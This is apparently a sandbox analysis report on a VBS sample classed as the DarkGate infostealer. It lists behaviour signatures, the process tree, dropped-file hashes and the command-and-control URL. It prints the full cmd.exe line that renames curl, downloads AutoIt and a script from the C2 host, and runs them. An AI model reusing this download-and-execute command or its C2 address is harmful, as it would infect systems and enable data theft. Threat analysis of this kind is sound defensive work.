Resubmissions

04/10/2023, 14:22

231004-rpmycsed2910

04/10/2023, 13:53

231004-q6y7aaeb2210

Analysis

  • max time kernel
    130s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/10/2023, 13:53

General

  • Target
    Test_395-13959.vbs
  • Size 6.9MB
  • Sample231004-q6y7aaeb22
  • SHA256 961372719771b69d8cf4d62f2b3703d7322544d16dc08036a217102382200498
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • darkgate

C2
  • http://getldrrgoodgame.com

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Test_395-13959.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2612
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir c:\omxg & cd /d c:\omxg & copy c:\windows\system32\curl.exe omxg.exe & omxg -H "User-Agent: curl" -o Autoit3.exe http://getldrrgoodgame.com:2351 & omxg -o lrrink.au3 http://getldrrgoodgame.com:2351/msiomxgnyqu & Autoit3.exe lrrink.au3
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1456
      • \??\c:\omxg\omxg.exe
        omxg -H "User-Agent: curl" -o Autoit3.exe http://getldrrgoodgame.com:2351
        3⤵
        • Executes dropped EXE
        PID:1920
      • \??\c:\omxg\omxg.exe
        omxg -o lrrink.au3 http://getldrrgoodgame.com:2351/msiomxgnyqu
        3⤵
        • Executes dropped EXE
        PID:4368
      • \??\c:\omxg\Autoit3.exe
        Autoit3.exe lrrink.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:2156

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Autoit3.exe

        • Path C:\omxg\Autoit3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        omxg.exe

        • Path C:\omxg\omxg.exe
        • Size 411KB
        • SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
        • MD5 SHA1 SHA512 SSDEEP

        omxg.exe

        • Path C:\omxg\omxg.exe
        • Size 411KB
        • SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
        • MD5 SHA1 SHA512 SSDEEP

        lrrink.au3

        • Path \??\c:\omxg\lrrink.au3
        • Size 901KB
        • SHA256 975d1510380171076b122cd556a1a05bd1eca33b98a9fd003fb3662cb8c83571
        • MD5 SHA1 SHA512 SSDEEP

        omxg.exe

        • Path \??\c:\omxg\omxg.exe
        • Size 411KB
        • SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
        • MD5 SHA1 SHA512 SSDEEP

        memory/2156-12-0x0000000001360000-0x0000000001760000-memory.dmp

        memory/2156-13-0x0000000003E40000-0x0000000003F35000-memory.dmp

        memory/2156-14-0x0000000004720000-0x0000000004AE3000-memory.dmp

        memory/2156-15-0x0000000003E40000-0x0000000003F35000-memory.dmp

        memory/2156-16-0x0000000004720000-0x0000000004AE3000-memory.dmp